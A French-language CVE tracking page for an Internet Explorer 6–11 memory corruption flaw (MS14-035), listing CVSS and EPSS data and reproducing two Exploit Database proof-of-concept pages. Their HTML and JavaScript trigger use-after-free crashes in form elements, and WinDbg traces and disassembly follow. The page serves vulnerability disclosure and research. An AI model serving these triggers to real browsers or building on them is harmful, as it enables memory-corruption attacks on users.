Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-1775, CVE-2014-1779, CVE-2014-1799, CVE-2014-1803, and CVE-2014-2757.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 33860
Date de publication : 2014-06-23 22h00 +00:00
Auteur : Drozdova Liudmila
EDB Vérifié : Yes
<!--
Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC
Product: Internet Explorer
Vulnerable version: 8,9,10
Date: 23.06.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 7,8,9,10
CVE : unknown
-->
<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element
if (startfl) {
document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset
CollectGarbage();
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>
<!--
Crash details
(fd4.d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002
eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
00000000 ?? ???
0:004> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0
025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea
025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75
025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98
025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139
025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80
025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d
025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f
025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd
025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30
--!>
Exploit Database EDB-ID : 34010
Date de publication : 2014-07-07 22h00 +00:00
Auteur : Drozdova Liudmila
EDB Vérifié : No
<!--
Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace)
Product: Internet Explorer
Vulnerable version: 9,10
Date: 8.07.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 9,10
CVE : unknown
-->
<html>
<body>
<form id="form1">
<input id="input1" type="text" value="">
</form>
<script>
loaded = false ;
function func() {
if (loaded) {
document.body.innerHTML = "" ; // free CFormElement
}
}
input1 = document.getElementById("input1") ;
input1.onclick = func ;
loaded = true ;
input1.click(); // Call DoClick function
</script>
</body>
</html>
<!--
Vulnerability details
MSHTML!CInput::DoClick
66943670 8bcf mov ecx,edi
66943672 ff751c push dword ptr [ebp+1Ch]
66943675 ff7518 push dword ptr [ebp+18h]
66943678 ff7514 push dword ptr [ebp+14h]
6694367b ff7510 push dword ptr [ebp+10h]
6694367e ff750c push dword ptr [ebp+0Ch]
66943681 ff7508 push dword ptr [ebp+8] <---- esi = CFormElement
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi
66943689 85db test ebx,ebx
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695)
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory
66943691 836668fe and dword ptr [esi+68h],0FFFFFFFEh ; memory corruption, write to freed memory
MSHTML!CInput::DoClick+0x60:
66943681 ff7508 push dword ptr [ebp+8] ss:0023:023ec994=00000000
0:005> p
eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540
eip=66943684 esp=023ec95c ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x63:
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf)
0:005> dds esi l1
0034cd20 6661ead8 MSHTML!CFormElement::`vftable'
0:005> !heap -x esi <-- esi contains valid pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - c LFH;busy
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=66943689 esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CInput::DoClick+0x68:
66943689 85db test ebx,ebx
0:005> dds esi l1
0034cd20 6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c
0:005> !heap -x esi <-- esi contains freed pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - 0 LFH;free
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368b esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6a:
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) [br=0]
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368d esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6c:
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001
-->
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7
- Microsoft>>Internet_explorer >> Version 7 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 9
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-035
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
